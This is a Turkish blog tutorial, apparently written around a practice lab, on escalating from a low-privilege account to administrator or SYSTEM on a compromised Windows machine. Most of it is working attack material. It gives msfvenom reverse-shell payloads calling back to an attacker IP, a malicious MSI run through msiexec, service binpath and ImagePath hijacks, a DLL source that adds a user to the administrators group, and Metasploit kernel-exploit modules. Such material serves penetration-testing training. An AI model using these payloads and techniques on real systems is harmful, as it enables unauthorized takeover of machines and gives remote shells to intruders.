Windows Sistemlerde Yetki Yükseltme

Bu yazıda ele geçirdiğimiz windows makinede düşük yetkilere sahip bir kullanıcı hesabından yüksek yetkili kullanıcı hesaplara nasıl sıçrayabileceğimizden bahsedeceğim.

Registry Escalation – Autorun

Kayıt defeterinde başlangıçta çalışan programlara bakıyoruz. Bunun için sysinternals‘dan Autoruns64’ü kullanabilirsiniz. Ben bu örnekte reg query ile başlangıçta çalışan uygulamaları sorgulayacağım.

reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

C:\program files\autorun program\ dizini altında progam.exe olduğunu görüyoruz. program.exe isimli yazılım başlangıçta çalışmaya ayarlanmış. şimdi de yazma iznimiz olup olmadığına bakalım. Bunun için Accesschk64’ü kullanacağım.

-w yazma izni olup olmadığını

-v verbose ouput

-u ise hataları bastırmak için kullanılan parametredir.

accesschk64.exe -wvu “C:\Program Files\Autorun Program”

Yazma iznimiz var (everyone) bu şu demek ben aynı isimdeki backdoorumu bu alana yazarsam administrator yetkilerine sahip bir kullanıcı makineye giriş yaptığında bu program.exe de başlangıçta çalıştığı için administrator yetkilerine sahip shell alabilirim.

msfvenom -p windows/shell_reverse_tcp lhost=10.9.1.185 lport=1337 -f exe -o program.exe

msfvenom ile aynı isimde oluşturduğum dosyayı ilgili dizine attıktan sonra netcat ile bağlantı noktamı oluşturuyorum. Sonrasında Administrator yetkisine sahip kullanıcının giriş yapmasını bekliyorum. Bu sayede yetki yükseltmiş oluyorum.

Registry Escalation – AlwaysInstallElevated

AlwaysInstallElevated registry değeri 1 olarak bırakılan sistemde .msi uzantılı dosyalar sistem yetkileriyle çalıştırılabilmektedir. Bunun kontrolü için şu iki registry kaydını kontrol edelim.

reg query HKLM\Software\Policies\Microsoft\Windows\Installer
reg query HKCU\Software\Policies\Microsoft\Windows\Installer

Şimdi de msfvenom ile .msi uzantılı zararlımızı oluşturup yazma iznimizin olduğu Temp dizinine atalım.

msfvenom -p windows/shell_reverse_tcp lhost=10.9.1.185 lport=2020 -f msi -o corona.msi

Bağlantı noktamı açtıktan sonra zararlımı çalıştırıyorum ve “nt authority\system” yetkilerine sahip oluyorum.

msiexec /quiet /qn /i C:\Temp\corona.msi

Service Escalation – Registry ( Weak Registry Permissions )

Windowsda bütün servisler için “HKLM\SYSTEM\CurrentControlSet\Services” altında aynı isimde anahtar oluşturulur. Şayet servislere ait registry değerlerinde değişiklik yapma yetkimiz var ise bu servislerin konfigürasyonlarında değişiklik yaparak yetki yükseltebiliriz. Servisler üzerindeki haklarımızı kontrol etmek için accesschk kullanabiliriz.

accesschk64.exe -kwu HKLM\SYSTEM\CurrentControlSet\Services

Burada regsvc isimli servis üzerindeki yetkilerimize bakıyoruz. Access kısmında “NT AUTHORITY\INTERACTIVE” eğer “FullControl” ise bu servisin “ImagePath” değerini oluşturduğumuz zararlının adresiyle değiştirip servisi tekrar başlatarak administrator yetkileriyle shell alabiliriz.

powershell.exe “Get-Acl -Path hklm:\System\CurrentControlSet\services\regsvc | fl”

Şimdi daha önce oluşturduğum program.exe’yi kullanarak yetki yükselteceğim. Bunun için ilgili servisin ImagePath değerini program.exe olarak değiştirip servisi tekrar başlatacağım.

reg add HKLM\SYSTEM\CurrentControlSet\services\regsvc /v ImagePath /t REG_EXPAND_SZ /d c:\temp\program.exe /f
sc start regsvc

Service Escalation – Executable Files (Weak Folder Permissions)

Düşük yetkilere sahip bir kullanıcı olsak bile ilgili servisin bulunduğu dizinde yazma iznimiz varsa servis dosyasıyla aynı isimde oluşturacağımız zararlı ile değiştirip servisi tekrar başlatarak hak yükseltebiliriz. Öncelikle accesschk64 ile ilgili dizindeki izinleri kontrol ediyorum.

accesschk64.exe -wvu “C:\Program Files\File Permissions Service” -accepteula

Everyone grubu filepermservice.exe üzerinde bütün yetkilere sahip. Sonuç olarak oluşturduğumuz zararlıyı bu dizin altına aynı isimle atarsak servisi tekrar çalıştırdığımızda admin yetkilerine sahip shell alırız.

copy /y program.exe “C:\Program Files\File Permissions Service\filepermservice.exe”
sc start filepermsvc

Service Escalation – DLL Hijacking

Örneğin hedef sistemde halo_dayi isimli bir servis olsun. Biz bu servisi kendi makinemizde incelediğimizde ilgili servisin helikopter.dll dosyasını çaığırdığını fakat bulamadığını görelim. Bu dosyayı C:\Temp dizininde arıyor olsun ki bu bizim yazma iznimizin olduğu dizin. Temp dizininde bulamayacağı için kendi oluşturduğum zararlı dll’i aynı isimde buraya atarsam halo_dayi servisini tekrar çalıştırdığımda benim zararlım çalışacağı için yetki yükseltebileceğim. Bu arada helikopter.dll dosyası olsa bile eğer bulunduğu dizinde yazma iznim varsa yine aynı işlemleri yapabilirim. Şimdi basit bir örnek yapalım. Hedef sistemde bulunan dllhijackservice isimli bir servisi inceleyelim

Process monitor’ü (procmon) açıp Filter sekmesinden Process NAME ‘İ dllhijackservice.exe yapıp ekliyorum. Process Name is dllhijackservice.exe olacak.

Sonrasında Result is NAME NOT FOUND olacak şekilde ekliyorum.

apply -> ok dedikten sonra komut isteminden dllsvc’yi başlatıyorum.

sc start dllsvc

Servisi başlattıktan sonra C:\Windows dizini altında hijackme.dll arandığını ve bulunmadığını görüyoruz. Tabii bu dizinlerde yazma iznimiz yok ama en altta C:\Temp dizininde de hijackme.dll arandığını görebilirsiniz. Eğer C:\Temp dizini altına kendi hijackme.dll dosyamı atarsam servisi tekrar başlattığımda amacıma ulaşırım.

Öncelikle şu kodu güzelce derleyelim. Kodun yaptığı şey “user” kullanıcısını administrator grubuna eklemek. Derleyip C:\Temp dizinine atalım.

// For x64 compile with: x86_64-w64-mingw32-gcc windows_dll.c -shared -o output.dll
// For x86 compile with: i686-w64-mingw32-gcc windows_dll.c -shared -o output.dll

#include <windows.h>

BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved) {
    if (dwReason == DLL_PROCESS_ATTACH) {
        system("cmd.exe /k net localgroup administrators user /add");
        ExitProcess(0);
    }
    return TRUE;
}

Servisi tekrar çalıştırdığımda “user” kullanıcısının administrator grubuna alındığını görüyoruz ve böylelikle yetki yükselmiş oluyoruz.

sc stop dllsvc & sc start dllsvc

Weak Service Permissions

Düşük yetkili kullanıcıların yüksek yetkilerle çalışan servisler üzerinde yetkileri olursa basit bir konfigürasyon değişikliği ile yetki yükseltebilirler.

örneğin accesschk64 ile daclsvc servisini kontrol edelim.

accesschk64.exe -wuvc daclsvc

Everyone grubunun “SERVICE_CHANGE_CONFIG” iznine sahip olduğunu görüyorum. Bu şu demek eğer ben bu servisin “binpath” değerine zararlımın bulunduğu dizini verip servisi tekrar başlatırsam yetki yükseltebilirim. Bunun yerine komut da yazabilirdim.

sc config daclsvc binpath= “net localgroup administrators user /add”
sc config daclsvc binpath= “C:\Temp\program.exe”
sc start daclsvc

Service Escalation — Unquoted Service Paths

Windows da bir servis başlatıldığı zaman BINARY_PATH_NAME de yazan dosya yolundaki servis başlatılır. Eğer bu dosya yolu tırnaklar arasında değilse windows bunu şu şekilde yorumlar ;

Örneğin dosya yolu şu şekilde olsun C:\Program Files\Unquoted Path Service\Common Files\unquotedpathservice.exe

Windows boşluklardan ötürü öncelikle C:\Program.exe yi çalıştırmaya çalışacaktır. Windows Files kısmını parametre gibi görecektir. Program.exe yok ise Program Files.exe yi arayacaktır. Sonrasında Unquoted.exe vb. şeklinde denemeler yapıp en sonunda unquotedpathservice.exe’yi bulup çalıştıracaktır. Adım adım şu şekilde ilerleyecektir.

C:\Program.exe

C:\Program Files.exe

C:\Program Files\Unquoted.exe

C:\Program Files\Unquoted Path.exe

C:\Program Files\Unquoted Path Service.exe

C:\Program Files\Unquoted Path Service\Common.exe

C:\Program Files\Unquoted Path Service\Common Files.exe

C:\Program Files\Unquoted Path Service\Common Files\unquotedpathservice.exe

Tahmin ettiğiniz üzere C:\Program Files\Unquoted Path Service\ dizini altına msfvenom ile oluşturacağım zararlımı Common.exe adıyla atarsam yetki yükseltebilirim.

msfvenom -p windows/shell_reverse_tcp lhost=10.9.1.185 lport=1337 -f exe -o Common.exe
sc start unquotedsvc

Kernel Exploits

Son olarak ele geçirdiğimiz makinede kernel exploitlerini deneyebiliriz. Metasploitte kernel exploitlerini otomatik denemek için exploit suggester kullanabiliriz.

use post/multi/recon/local_exploit_suggester
set SESSION 1
show options
run

Ben bu explotlerden cve_2019 olanı kullanıyorum ve bu sayede yetki yükseltiyorum.

use exploit/windows/local/cve_2019_1458_wizardopium
set LHOST 10.9.1.185
set SESSION 1
run

Bir yanıt yazın

E-posta adresiniz yayınlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir